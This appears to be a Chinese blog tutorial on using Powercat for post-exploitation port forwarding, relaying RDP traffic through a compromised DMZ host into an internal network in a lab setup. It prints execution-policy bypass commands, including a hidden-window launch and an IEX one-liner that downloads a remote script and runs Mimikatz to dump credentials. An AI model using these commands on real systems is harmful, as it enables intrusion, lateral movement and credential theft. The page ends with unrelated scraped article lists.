实战中,我们也会遇到需要我们进行端口转发的情况,比如已经拿下的目标机1是在dmz区,而目标1所在内网的其他目标只能通过目标1去访问,这时候我们就需要端口转发或者代理来进行后渗透。这次就要介绍一个加强版的nc,基于powershell的后渗透工具

Powercat

下载地址:Lhttps://github.com/besimorhino/powercat

0x01 powercat准备

首先得改一下ps的执行脚本权限

Set-ExecutionPolicy Bypass

然后直接执行我们的powercat脚本即可。

也可以通过常规三种绕过执行策略的方式执行ps脚本

本地权限绕过

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过执行脚本

PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1

用IEX下载远程PS1脚本回来权限绕过执行

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"

所以,直接选择最简单的吧,也别下载了,直接远程权限绕过,在Powershell 中执行:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

可以看到Powercat已经成功执行了

0x02 使用powercat端口转发

先来看下参数

不过端口转发中我们只需要其中几个参数

命令解析:

-c 指定一个ip地址

-p 指定一个端口

-v 显示详情

-l 监听模式,用于入站链接

-p 本地端口号

-e 程序重定向,跟nc一毛一样

-v 显示详情

下面用实际例子来说明每个参数的作用

例子一:

环境: 192.168.190.135  windows2003开放了3389(目标机)

192.168.190.149  windows8 (攻击机)

将192.168.190.135上的3389服务流量转发到本地的9001端口,攻击机用到的命令为:

powercat -c 192.168.190.135 -p 3389 -v -r tcp:9001

然后连接本地的9001端口,可以发现是转发成功的。

例子二:

环境: 192.168.190.135  windows2003开放了3389(内网目标机)

192.168.190.151  windows8 (外网目标机)(与内网目标机处一个内网)

192.168.190.149  windows8 (攻击机)

Ps:假设攻击机拿下了外网目标机的权限,想进一步内网渗透但是不能直接访问内网目标机的3389服务,只能通过外网目标机访问内网目标机的3389服务。

外网目标机执行:

powercat -c 192.168.190.135 -p 3389 -v -r tcp:6666

(连接内网目标机的3389端口,将流程转到自己的6666端口)

攻击机执行:

powercat -c 192.168.190.151 -p 6666 -v -r tcp:1111

(连接外网目标机的6666端口,把流程转到本地的1111端口)

可以看到转发成功。

powerCat进行常规tcp端口转发的更多相关文章

  1. TCP端口转发(centos7)

    =============================================== 2019/2/14_第1次修改                       ccb_warlock == ...

  2. 使用 ssh -R 建立反向/远程TCP端口转发代理

    转自:https://yq.aliyun.com/articles/8469 ssh是一个非常棒的工具, 不但能建立动态转发, 例如chrome的Switchy插件用到的就是这个技术.http://b ...

  3. windows操作系统自带的TCP端口转发

    假定需要通过192.168.1.8的14941端口连接192.168.1.118的1494端口,则需要在192.168.1.8主机的命令行输入如下语句netsh  interface ipv6 ins ...

  4. rinetd基于内网TCP端口转发

    在Linux系统中大多数情况选择用iptables来实现端口转发,iptables虽然强大,但配置不便,而且新手容易出错.在此分享另一个TCP/UDP端口转发工具rinetd,rinetd体积小巧,配 ...

  5. 免费内网映射外网绑定,tcp端口转发(windows)

    在tcp socket开发过程中,想要外网客户端映射到本地启动的tcp服务端,总结本地tcp端口映射外网方法: 1.打开ngrok后注册用户,网址 ngrok:https://www.ngrok.cc ...

  6. 全平台正向tcp端口转发工具rinetd的使用

    Linux下做地址NAT有很多种方法.比如haproxy.nginx的4层代理,linux自带的iptables等都能实现.其实,Linux下有一个叫rinetd的工具,安装简单,配置也不复杂. 下载 ...

  7. 基于常规DNS隧道进行的tcp端口转发dns2tcp的使用

    0x01 安装Dns2TCP dns2tcp 是一个利用DNS隧道转发TCP连接的工具,使用C语言开发. sudo apt-get install dns2tcp 0x02配置dns2tcp 配置DN ...

  8. cdn贝四层协议配置端口映射TCP端口转发

    端口映射就是将外网主机的IP地址的一个端口映射到内网中一台机器,提供相应的服务.当用户访问该IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上.端口映射有动态和静态之分 1.安装好节点后初 ...

  9. Linux socat轻松实现TCP/UDP端口转发

    1.TCP端口转发 socat -d TCP4-LISTEN:,reuseaddr,fork TCP4: 2.UDP端口转发 socat -T UDP4-LISTEN:,reuseaddr,fork ...

随机推荐

  1. 行数据库VS列数据库

    一.介绍 目前大数据存储有两种方案可供选择:行存储和列存储.业界对两种存储方案有很多争持,集中焦点是:谁能够更有效地处理海量数据,且兼顾安全.可靠.完整性.从目前发展情况看,关系数据库已经不适应这种巨 ...

  2. BeanCopier类

    网上学习了一番BeanCopier类. cglib是一款比较底层的操作java字节码的框架. 下面通过拷贝bean对象来测试BeanCopier的特性: public class OrderEntit ...

  3. Winform中设置DevExpress的RadioGroup的items从配置文件中加载

    场景 DevExpress的RadioGroup的items选项如果是不确定的话,需要其从配置文件中加载. 实现 在项目目录下新建Config文件夹,文件夹下新建xml配置文件. <?xml v ...

  4. 自定义JDBC工具类(配置文件)

    import java.io.IOException; import java.io.InputStream; import java.sql.Connection; import java.sql. ...

  5. C#基础知识总结(三)--反射

    如何在C#.NET开发中使用反射. 首先,我新建一个普通的类库项目.在该项目的测试类中,定义好 属性.静态方法.实例方法.无参方法等... 代码如下: using System; using Syst ...

  6. hibernate保存中文mysql

    最近自己做测试的时候,发现中文入库成?号了,不由得想到是否某处编码设置问题. 1.检查数据库是否为utf8 2.检查配置文件,数据库链接地址是否指定编码,经检查本地配置文件 jdbc.url=jdbc ...

  7. Mybatis源码解析,一步一步从浅入深(四):将configuration.xml的解析到Configuration对象实例

    在Mybatis源码解析,一步一步从浅入深(二):按步骤解析源码中我们看到了XMLConfigBuilder(xml配置解析器)的实例化.而且这个实例化过程在文章:Mybatis源码解析,一步一步从浅 ...

  8. Android蓝牙低功耗(BLE)模块设计

    在阅读这篇文章之前你应该对GATT和Android蓝牙框架有一定的了解.这里不会向你解释Service.Characteristics等蓝牙知识.这里只是我写下我对Android Ble的再次封装来适 ...

  9. mybatis <=或这个>=提示错误Tag name expecte问题解决

    解决方案: 1.将<号或者>号进行转义 DATE_SUB(CURDATE(), INTERVAL 31 DAY) <= DATE(created) 2.使用<![CDATA[ ...

  10. Ubuntu下安装并使用sublime text 3(建议:先安装Package controls 后在看本教程,否则可能会安装不了)

    首先从Sublime Text官网下载合适的包 然后使用 tar -xvvf sublime_text_3_build_3207_x64.tar.bz2 解压: 再使用 mv sublime_text ...